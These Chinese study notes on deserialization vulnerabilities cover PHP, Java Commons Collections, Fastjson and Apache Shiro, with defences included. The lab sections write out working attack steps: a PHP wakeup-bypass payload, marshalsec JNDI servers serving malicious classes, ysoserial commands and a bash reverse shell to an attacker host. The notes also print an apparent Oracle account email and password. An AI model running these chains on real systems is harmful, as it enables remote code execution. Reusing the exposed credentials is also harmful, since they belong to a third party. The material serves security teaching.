10-反序列化渗透与防御

1、PHP反序列化渗透与防御

1.1 PHP类与对象


1.2 PHP的Magic函数

魔术方法:满足相应的条件,会自动调用的函数(如:构造函数、析构函数等)

1.3 PHP序列化和反序列化

把对象转换成字符的形式储存,并存储在任何地方

作用:

1、对象的传输 以及 跨平台的使用

2、用作缓存(Cookie、Session)

一、序列化

var_dump(serialize($obj));//输出序列化之后的结果

其他序列化格式:

1、json字符串 json_encode

2、xml字符串 wddx_serialize_value

3、二进制格式

4、字节数组

假如:有些敏感的变量,不想要序列化,则需要重写__sleep()方法

二、反序列化

用unserialize将字符串,反序列化成一个对象

注意:

1、如果传递的字符串,格式错误 或 不可以序列化,则返回FALSE

2、如果对象没有预定义,反序列化得到的对象是__PHP_Incomplete_Class

三、反序列化与Magic函数

php当调用反序列化方法unserialize时,会自动触发魔术方法__wakeup()或__unserialize(7.4.0)

如果类中同时定义了__unserialize()和__wakeup()两个魔术方法,则只有__unserialize()方法会生效,__wakeup()方法会被忽略

1.4 反序列化漏洞的出现

构造payload,通过参数传递,然后通过魔术方法中的操作,达成目的

php 复制代码
<?php

include 'logfile.php';
$obj = new logfile();

//由于析构函数,最后会删除文件,试试能不能删除index.php
$obj->filename = 'index.php';

//序列化,将结果GET传参到网页request.php
echo serialize($obj);

发生条件:

1、unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)

2、脚本中定义了有Magic方法,方法里面有1php文件做读写数据或者执行命令的操作,比如__destruct()、unlinke()

3、操作的内容需要有对象中的成员变量的值,比如filename

常见利用函数:(若是存在于魔术方法中,就能考虑利用)

1.5 CTF题目分析(攻防世界_unserialize3)

观察看到一个类xctf,且存在flag成员,和__wakeup()方法

但是有矛盾点,当你用code参数传入字符串,让他进行反序列化,但是会触发__wakeup()函数强行退出。

CVE-2016-7124(PHP5<5.6.25 或 PHP7<7.0.10)
当构造反序列化字符串时,将xxx:2:{xxx}成员变量指定的个数,大于字符里实际的个数时,就会跳过__wakeup的执行

由于私有的成员变量会拼接类名,如Testpoc
所以Testpoc要改为%00Test%00poc

编写一段poc:

php 复制代码
<?php

class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);

结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

构造payload:O:4:"xctf":2:{s:4:"flag";s:3:"111";}

1.6 typecho反序列化漏洞分析

CVE-2018-18753

2、Java反序列化漏洞

2.1 基础环境

JDK解压版:包含Java运行时的环境

IDEA:开发工具

Maven:jar包依赖管理

Tomcat:HTTP服务器

Burp Suite:发送HTTP请求

Kali:启动相关服务

2.2 序列化和反序列化的含义和用途

把内存中的Java对象,保存在磁盘里面 或 经过网络去传输!

主要使用场景:1、持久化内存数据 2、网络传输对象 3、远程方法调用(RMI)等

php反序列化

用fastjson直接用toJSON()方法

如何存到磁盘上:会生成一个二进制文件,AC ED开头
其中,反序列化漏洞就存在于readObject()处

注意:因为测试类 和 person类,本来就在一个依赖包
场景:序列化的时候有person类,但是反序列化在另一个地方没有person类
此时就要引入person类jar包的依赖

2.3 JAVA反序列化

首先!如果一个java的对象要进行序列化和反序列化,则必须实现serialize()的接口
其中!readObject()是可以自定义重写的

2.4 利用

思路:

1、重写类的readObject()方法

2、反序列过程中会执行自定义的readObject()

利用:有没有重写了readObject()的现成的类?

package sun.reflect.annotation;

AnnotationlnvocationHandler

package javax.management;

BadAttributeValueExpException

...

3、Apache Commons Collections反序列化漏洞

3.1 介绍

所谓Map其实就是一系列键值对,如(a,1)、(b,2),...

问题:

1、哪里出现了可以执行任意代码的问题?

2、反序列化的payload怎么构造?

Java代码运行原理:

1、源码

2、编码器(javac)编译为字节码.class文件

3、各平台JVM解释器把字节码文件转换成操作系统指令

跨平台 -> 把同样的class文件,在不同操作系统 转换 成操作指令

3.2 Java反射机制

在程序运行的时候,动态创建一个类的实例,调用实例的方法和访问它的属性

3.3 Apache Commons Collections漏洞原理 ≤ 3.2.1

一、CC关键类

1、InvokeTransformer

利用Java反射机制来创建类实例

2、ChainedTransformer

实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法

3、ConstantTransformer

transform()返回构造函数的对象

4、TransformedMap

二、调用链路


1、首先ConstantTran的Transform方法会返回一个Runtime类的对象,InvokerTran的Transform方法会生成 三个方法,但是怎么调用他们的Transform方法呢?

2、使用ChainedTran的Transform方法,会依次调用传入的类数组中的Transform方法,但是怎么调用ChainedTran的Transform方法呢?

3、TransformedMap的格式为(Transformer,Transformer),其中有一个checkSetValue方法,只要我们构造的一个Map的checkSetValue方法被执行了,它就会把它的键值对里的Transform方法执行

4、Ctrl+左键跟进,发现另一个Map类中有个setValue方法,且只有当一个Map对象的setValue方法被触发的时候,才会调用checkSetValue方法

5、当Map里的元素(键值对) 在增加、删除、修改的时候,Map对象的setValue方法才会被触发

6、目标:找一个对象,它在反序列化的时候,会给一个map对象的元素赋值,调用setValue方法

7、AnnotationInvocationHandler类中的反序列化函数(readObject方法),调用了Entry var5,其实就是map var5的setValue方法

三、poc构造思路

1、InvokeTransformer
反射执行代码,其中的Transform方法,可以动态实例化一个类,并触发他的方法

2、ChainedTransformer

链式调用,自动触发

3、ConstantTransformer

获得对象

4、TransformedMap

元素变化执行transform, setValue----checkSetValue

5、AnnotationInvocationHandler

readObject调用Map的setValue

四、调用流程

前提是,受害者提供了一个反序列化的接口

1、对利用类AnnotationInvocationHandler进行序列化,然后交给Java程序反序列化

2、在进行反序列化时,会执行readObject()方法,其中会调用map的setvalue方法,该方法会用setValue对成员变量TransformedMap的Value值进行修改

3、value修改触发了TransformedMap实例化时传入的参数InvokeTransformer的checkSetValue----transform()方法

4、放到Map里面的是InvokeTransformer数组,transform()方法被依次调用

5、InvokeTransformer.transform()方法通过反射,调用Runtime.getRuntime.exex("xx")函数来执行系统命令

4、Fastjson反序列化漏洞(阿里巴巴)

Alibaba开源系列

Druid、Fastjson、Dubbo、OceanBase、Tengine、TFS、RocketMQ、Canal

Fastjson

速度快、使用广泛、测试完备、使用简单、功能完备

4.1 Fastjson介绍

一、结论:

get方法 和 set方法,当你的私有变量不想让别人直接访问 User.name,则封装一个接口函数,间接调用。

1、序列化的时候,会调用成员变量的get方法,拿到它的值,然后写入到序列化的字符串里面,私有成员变量不会被序列化。

2、反序列化的时候,会调用成员变量的set方法,把字符串 赋值 给对象,public修饰的成员全部自动赋值

二、反序列化方法

JSON.parseObject() 返回实际类型对象,参数确定类 #推荐使用

User user1 = JSON.parseObject(serializedStr, User.class);

JSON.parse() 返回JsonObject对象,再通过强制类型转换,确定类

Object obj1 = JSON.parse(serializedStr)

三、@type 自省 Autotype

Fastjson序列化的时候,默认是不包含类名的!所以反序列化的时候,要给他一个类名

用法一:通过@type关键字,把类名写在字符串中,此时反序列化JSON.parseObject()可以不加参数User.class

用法二:子类中包含接口(interface) 或 抽象类(abstract class)的时候,类型丢失,则需要使用@type

四、利用类

找到com.sun.rowset.JdbcRowSetlmpl类,并且让fastJson反序列化它

Jdbc是一个连接数据库的类,你去反序列化它的时候,会连接一个数据源dataSource,可以是rmi或者是ldap源,黑客会把恶意代码挂在rmi源上面,他会下载这个代码,攻击就发生了

主要流程:反序列化,让Jdbc的这个类,去连接LDAP服务器中不存在的文件,然后下载恶意脚本

4.2 fastjson-1.2.24 RCE CVE-2017-18349

零、漏洞原理:

利用流程

1、序列化字符准备类名、dataSourceName属性和autoCommit属性

由于反序列化的时候,会调用set方法

分别调用setdataSourceName 和 setautoCommit 方法

2、JdbcRowSetlmpl反序列化,调用jdbcRowSetlmpl的setAutoCommit()

3、setAutoCommit()调用connect()

4、connect()调用lookup()连接到LDAP/RMI服务器

5、下载恶意代码到本地,执行,攻击发生

一、提前准备:

1、vulhub启动靶场

2、Kali用marshalsec启动LDAP/RMI服务

3、Kali用python启动HTTP服务,存放恶意类

4、Kali用netcat监听端口,建立反弹连接

注:可以结合Log4j2的JNDI注入学习

二、启动靶场Centos7:

cd /usr/local/soft/vulhub/fastjson/1.2.24-rce

docker-compose up -d

三、启动攻击机Kali:

1、设置python版本:

配置

update-alternatives --install /usr/bin/python python /usr/bin/python2 100

update-alternatives --install /usr/bin/python python /usr/bin/python3 150

切换版本

update-alternatives --config python

2、设置JRE版本为jdk 1.8
JDK8官网oracle下载

/注意,Oracle 的账号规定了只能单点登录,如果有两个人同时登录这个账号是行不通的。 /

账号:awo81898@tuofs.com

密码:Fs123456

解压:tar -zxvf xxx.tar.gz

或:gzip -dv xxx.tar.gz; tar -xvf xxx.tar

vim /etc/profile

在文件末尾添加

java

export JAVA_HOME=/root/soft/java/jdk1.8.0_441

export PATH=JAVA_HOME/bin:PATH

export CLASSPATH=.:JAVA_HOME/lib/dt.jar:JAVA_HOME/lib

重新加载配置文件
source /etc/profile

四、环境

编写恶意代码LinuxTouch,编译为class;编译完成后,这个恶意类要放在网上,给LDAP服务器去关联+下载

启动http服务:python -m http.server 8090 #python3

启动RMI服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxx.xxx.xxx.xxx:8090/#LinuxTouch" 9473

五、攻击步骤 及 脚本

1、将脚本放到对应的java版本包的bin目录下,然后执行javac。
注意:不能有包名package字样

2、将生成的class文件,放到kali开启的http服务下(vulhub/apache)

3、开启LDAP服务(marshalsec)

4、开启vulhub靶机,该网页会反序列化提交的请求

5、打开burpsuite,编写并发送payload

复现不成功的几种原因

1、JDK11编译的class放到靶场JDK8的环境,不能运行

2、java源代码不能有包名(package name)

3、用python启动HTTP而不是Apache

4、docker-compose up 不带-d可以看到日志

4.2 fastjson-1.2.47 RCE CVE-2017-18349

零、漏洞原理

黑名单绕过。利用缓存的机制。

通过再java.lang.Class类,这个类是去找一个名字。

如果在缓存中找到JdbcRowSetlmpl类,就可以拿到

一、环境

Kali监听9001的端口:nc -lvp 9001

编写恶意代码LinuxRevers,编译为class;编译完成后,这个恶意类要放在网上,给LDAP服务器去关联+下载

启动http服务:python -m http.server 8090 #python3

启动LDAP服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xxx.xxx.xxx.xxx:8090/#LinuxRevers" 9473

二、攻击步骤 及 脚本


4.3 漏洞挖掘思路

1、找到发送JSON序列化数据的端口

2、判断是否使用fastjson

一、非法格式报错
{"x":"
二、使用dnslog探测
{"x":{"@type":"java.net.lnet4Address","val":"xxx.dnslog.cn"}}

3、Burp插件
https://github.com/zilong3033/fastjsonScan

4.4 漏洞修复

1、升级JDK

6u211 / 7u201 / 8u191 / 11.0.1

2、升级Fastjson到最新版

fastjson.parser.safeMode=true

3、使用安全产品过滤非法内容

4、更换其他序列化工具

Jackson/Gson

5、Shiro反序列化漏洞

5.1 Apache Shiro反序列化漏洞(Shiro550)

一、Shiro介绍

Apache Shiro:开源安全框架

  • 身份认证(登录)
  • 授权(访问控制)
  • 会话管理(如session)
  • 加密

5.2 漏洞原因分析

该反序列化漏洞,发生在网页的登录过程中发生的,在"记住我"功能中

登陆验证流程

一、登陆信息保存

1、remember me登录:

序列化------AES加密------Base64编码------写入Cookie

在服务器的session中保存起来,并且发给客户端

2、身份认证:

Cookie值------Base64解码------AES解密------反序列化

难点1:AES加密需要同一把密钥,怎么找到服务器里用来解密的key呢?

答案:在Shiro550中,AES加密是硬编码,即在代码里写死了,任何人可见

难点2:完整调用链?怎么通过反序列化到readobject方法,去执行命令呢?

答案:使用工具!

二、登录过程

三、验证过程

5.3 漏洞环境搭建

本地复现 或 vulhub复现

1、本地代码
https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

2、IDEA导入到以下目录

shiro-shiro-root-1.2.4\samples\web

3、pom.xml修改,还需要apachecc依赖

4、安装ysoserial-jar依赖包

勾选remember me,使用任意用户名密码进行登录(Burp抓包)

5.4 利用工具和方式

一、JRMP协议/服务器

JRMP全称为Java Remote Methmod Protocol,也就是Java远程方法协议

他是RMI工作的一个底层协议。

二、ysoserial工具

https://github.com/frohoff/ysoserial

在终端运行:mvn package -D skip Tests,进行编译打包

或者,上github找已经打包好的ysoserial.jar文件

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'calc.exe'

POP Gadgets(Property-Oriented Programming 面向属性编程)

可以检测是否存在java反序列化漏洞,并进行验证和利用

三、漏洞特征

set-cookie是否存在rememberMe=deleteMe

fofa dork
header="rememberme=deleteMe"、header="shiroCookie"

四、检测工具

基于JDK8

1、shiro_tool.jar 纯字符版

2、ShiroExploitV2.51

3、shiro_attach-v2.0.jar

5.5 利用方式1

payloads/JRMPListener <> exploit/JRMPClient

5.6 利用方式2(本次实验)

exploit/JRMPListener <> payloads/JRMPClient

两次反序列化

参考资料:
https://www.sohu.com/a/447023879_120045376
http://t.zoukankan.com/nice0e3-p-14280278.html

一、利用流程

1、先构建一个恶意命令,它的作用是让漏洞服务器连接到我们启动的JRMP服务器,建立一个通道,方便我们发送payload1

2、把这个命令序列化、AES加密、base64编码(payload2),写入Cookie,发送给漏洞服务器

3、漏洞服务器:base64解码、AES解密、反序列化,执行恶意命令,连接到JRMP服务器

4、继续发送恶意payload1,利用CC等通过库的漏洞执行命令

二、完整流程

第一步:

kali监听端口:nc -lvp 7777

第二步:

准备恶意命令,反弹连接命令作为ysoserial参数,在进行编码处理

bash -i >& /dev/tcp/Kali的ip/7777 0>&1

base64编码+改变格式

ysoserial编码工具:https://ares-x.com/tools/runtime-exec/

第三步:启动JRMPListener

通过ysoserial的jar包

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "反弹连接格式"

第四步:python生成cookie(AES加密、base64)

python shiro.py xxx.xxx:8888指定JRMP端口

pip install pycrypto模块

第五步:通过BP,发送cookie值

第六步:成功!

我只发了一次payload,目的是为了连接JRMP服务器。

实际上第二个payload,是ysoserial发送的,包括反弹连接+反序列化

5.7 修复和防御

1、升级Apache Shiro到最新版本

2、部署安全产品

防御工具库:
https://github.com/ikkisoft/SerialKiller/

6、总计!